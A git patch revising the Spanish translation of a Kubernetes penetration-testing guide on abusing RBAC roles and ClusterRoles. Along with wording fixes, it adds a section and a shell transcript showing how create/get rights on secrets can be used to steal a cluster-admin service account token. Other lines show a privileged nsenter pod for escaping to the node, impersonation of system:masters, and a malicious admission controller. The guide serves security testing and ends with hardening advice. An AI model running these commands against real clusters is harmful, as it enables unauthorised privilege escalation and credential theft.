From fbd11688353f4259cda31a838f5e54b1cff439b2 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 12:06:20 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 129 +++++++++++++----- 1 file changed, 96 insertions(+), 33 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 9a1656e6f..e43cc17da 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -31,7 +31,7 @@ verbs: ["*"] ``` ### Acceder a Cualquier Recurso con un verbo específico -En RBAC, ciertos permisos presentan riesgos significativos: +En RBAC, ciertos permisos representan riesgos significativos: 1. **`create`:** Concede la capacidad de crear cualquier recurso del clúster, arriesgando la escalada de privilegios. 2. **`list`:** Permite listar todos los recursos, potencialmente filtrando datos sensibles. @@ -77,7 +77,7 @@ hostNetwork: true Lo siguiente indica todos los privilegios que un contenedor puede tener: - **Acceso privilegiado** (deshabilitando protecciones y configurando capacidades) -- **Deshabilitar namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios +- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios - **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes - **Montar hosts / dentro del contenedor** ```yaml:super_privs.yaml @@ -123,7 +123,7 @@ Una línea de [este tweet](https://twitter.com/mauilion/status/11294684854807511 ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en: +Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en: #### Sigilo @@ -143,7 +143,7 @@ _Puedes encontrar un ejemplo de cómo crear/abusar de las configuraciones de pod Si puedes **crear** un **pod** (y opcionalmente una **cuenta de servicio**) podrías **obtener privilegios en el entorno de la nube** al **asignar roles de nube a un pod o a una cuenta de servicio** y luego acceder a él.\ Además, si puedes crear un **pod con el espacio de nombres de red del host**, puedes **robar el rol de IAM** de la instancia del **nodo**. -Para más información consulta: +Para más información, consulta: {{#ref}} pod-escape-privileges.md @@ -151,7 +151,7 @@ pod-escape-privileges.md ### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs** -Es posible abusar de estos permisos para **crear un nuevo pod** y escalar privilegios como en el ejemplo anterior. +Es posible abusar de estos permisos para **crear un nuevo pod** y establecer privilegios como en el ejemplo anterior. El siguiente yaml **crea un daemonset y exfiltra el token de la SA** dentro del pod: ```yaml @@ -191,9 +191,9 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** es un recurso en kubernetes utilizado para **ejecutar comandos en una shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener una shell dentro**. +**`pods/exec`** es un recurso en kubernetes utilizado para **ejecutar comandos en un shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener un shell dentro**. -Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o entrar en un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo: +Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o ingresar a un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo: ```bash kubectl exec -it -n -- sh ``` @@ -233,7 +233,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// ``` **Un laboratorio y un exploit automatizado se pueden encontrar en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Eludir la protección readOnly +#### Eludir la protección de solo lectura Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw: ```bash @@ -247,7 +247,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Que estaba destinado a prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura: +Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -297,12 +297,12 @@ name: task-pv-storage-vol Con un privilegio de [**suplantación de usuario**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada. -Simplemente usa el parámetro `--as=` en el comando `kubectl` para suplantar a un usuario, o `--as-group=` para suplantar a un grupo: +Simplemente use el parámetro `--as=` en el comando `kubectl` para suplantar a un usuario, o `--as-group=` para suplantar a un grupo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -O utiliza la API REST: +O use la API REST: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -312,21 +312,84 @@ https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Listando Secretos -El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al endpoint de la API REST: +El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al punto final de la API REST: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` +### Creación y Lectura de Secretos + +Hay un tipo especial de secreto de Kubernetes de tipo **kubernetes.io/service-account-token** que almacena tokens de serviceaccount. Si tienes permisos para crear y leer secretos, y también conoces el nombre del serviceaccount, puedes crear un secreto de la siguiente manera y luego robar el token del serviceaccount de la víctima: +```yaml +apiVersion: v1 +kind: Secret +metadata: +name: stolen-admin-sa-token +namespace: default +annotations: +kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` +Ejemplo de explotación: +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) + +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] +[/.well-known/openid-configuration/] [] [get] + +[/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ +"apiVersion": "v1", +"data": { +"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", +"namespace": "ZGVmYXVsdA==", +"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" +}, +"kind": "Secret", +"metadata": { +"annotations": { +"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", +"kubernetes.io/service-account.name": "cluster-admin-sa", +"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" +}, +"creationTimestamp": "2025-01-11T13:02:27Z", +"name": "stolen-admin-sa-token", +"namespace": "default", +"resourceVersion": "1019116", +"uid": "680d119f-89d0-4fc6-8eef-1396600d7556" +}, +"type": "kubernetes.io/service-account-token" +} +``` +Tenga en cuenta que si se le permite crear y leer secretos en un cierto namespace, la cuenta de servicio de la víctima también debe estar en ese mismo namespace. + ### Lectura de un secreto – fuerza bruta de IDs de token Mientras que un atacante en posesión de un token con permisos de lectura requiere el nombre exacto del secreto para usarlo, a diferencia del privilegio más amplio de _**listar secretos**_, aún existen vulnerabilidades. Las cuentas de servicio predeterminadas en el sistema pueden ser enumeradas, cada una asociada con un secreto. Estos secretos tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) de acuerdo con el [código fuente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar de manera factible un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles. +El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar razonablemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles. ### Solicitudes de Firma de Certificados -Si tienes los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puedes **crear** un nuevo CeSR de un **nuevo nodo.** +Si tiene los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puede **crear** un nuevo CeSR de un **nuevo nodo.** -De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesitas permisos adicionales**. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` +De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` Un **ejemplo de un rol** con todos los permisos requeridos es: ```yaml @@ -361,8 +424,8 @@ verbs: ``` Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**. -En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de esas credenciales para escalar privilegios robando secretos.\ -Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de los contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.** +En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de esas para escalar privilegios robando secretos.\ +Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.** La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación): ```bash @@ -444,11 +507,11 @@ Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`** Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear uno de esos webhookconfigurations** para poder **escalar privilegios**. -Para un [ejemplo de `mutatingwebhookconfigurations` consulta esta sección de esta publicación](./#malicious-admission-controller). +Para un [ejemplo de `mutatingwebhookconfigurations` consulta esta sección de esta publicación](#malicious-admission-controller). ### Escalar -Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](./#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**.\ +Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**.\ Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene. ### Proxy de nodos @@ -459,7 +522,7 @@ Principales con acceso al subrecurso **`nodes/proxy`** pueden **ejecutar código ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubelet aquí**](../pentesting-kubernetes-services/#kubelet-rce). +Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubelet aquí**](../pentesting-kubernetes-services/index.html#kubelet-rce). ### Eliminar pods + nodos no programables @@ -482,7 +545,7 @@ Los principales que pueden **modificar** **`services/status`** pueden establecer Los principales con permisos de **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar etiquetas para afectar las restricciones de programación impuestas. -## Prevención de Escalación de Privilegios Incorporada +## Prevención de escalación de privilegios incorporada Kubernetes tiene un [mecanismo incorporado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalación de privilegios. @@ -493,26 +556,26 @@ La regla estipula que un **usuario solo puede crear o actualizar un rol si posee > [!WARNING] > Hay una excepción a la regla anterior. Si un principal tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**, puede aumentar los privilegios de roles y clusterroles incluso sin tener los permisos él mismo. -### **Obtener y Parchear RoleBindings/ClusterRoleBindings** +### **Obtener y parchear RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Aparentemente, esta técnica funcionó antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a un SA diferente algunos privilegios si no los tienes ya.** +> **Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.** El privilegio de crear Rolebindings permite a un usuario **vincular roles a una cuenta de servicio**. Este privilegio puede llevar potencialmente a la escalación de privilegios porque **permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.** -## Otros Ataques +## Otros ataques -### Aplicación de proxy Sidecar +### Aplicación proxy sidecar -Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, pod a pod. +Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, de pod a pod. -#### Crear una aplicación de proxy Sidecar +#### Crear una aplicación proxy sidecar Crea tu .yaml ```bash kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' ``` -Edita tu .yaml y añade las líneas descomentadas: +Edita tu .yaml y añade las líneas sin comentar: ```yaml #apiVersion: v1 #kind: Pod @@ -554,7 +617,7 @@ Más información en: [https://kubernetes.io/docs/tasks/configure-pod-container/ Un controlador de admisión **intercepta las solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**. -Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster. +Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un posible privesc y, más comúnmente, persistir en el clúster. **Ejemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -596,7 +659,7 @@ Value: "rewanthtammana/malicious-image", ``` El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con `rewanthtammana/malicious-image`. -## Bypass de OPA Gatekeeper +## OPA Gatekeeper bypass {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -604,14 +667,14 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con ## Mejores Prácticas -### **Deshabilitar el Automontaje de Tokens de Cuentas de Servicio** +### **Deshabilitar la Automontura de Tokens de Cuentas de Servicio** -- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje. +- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontura. - **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes. ### **Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings** -- **Inclusión Selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta. +- **Inclusión Selectiva**: Asegúrese de que solo se incluyan los usuarios necesarios en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta. ### **Roles Específicos de Namespace sobre Roles de Clúster**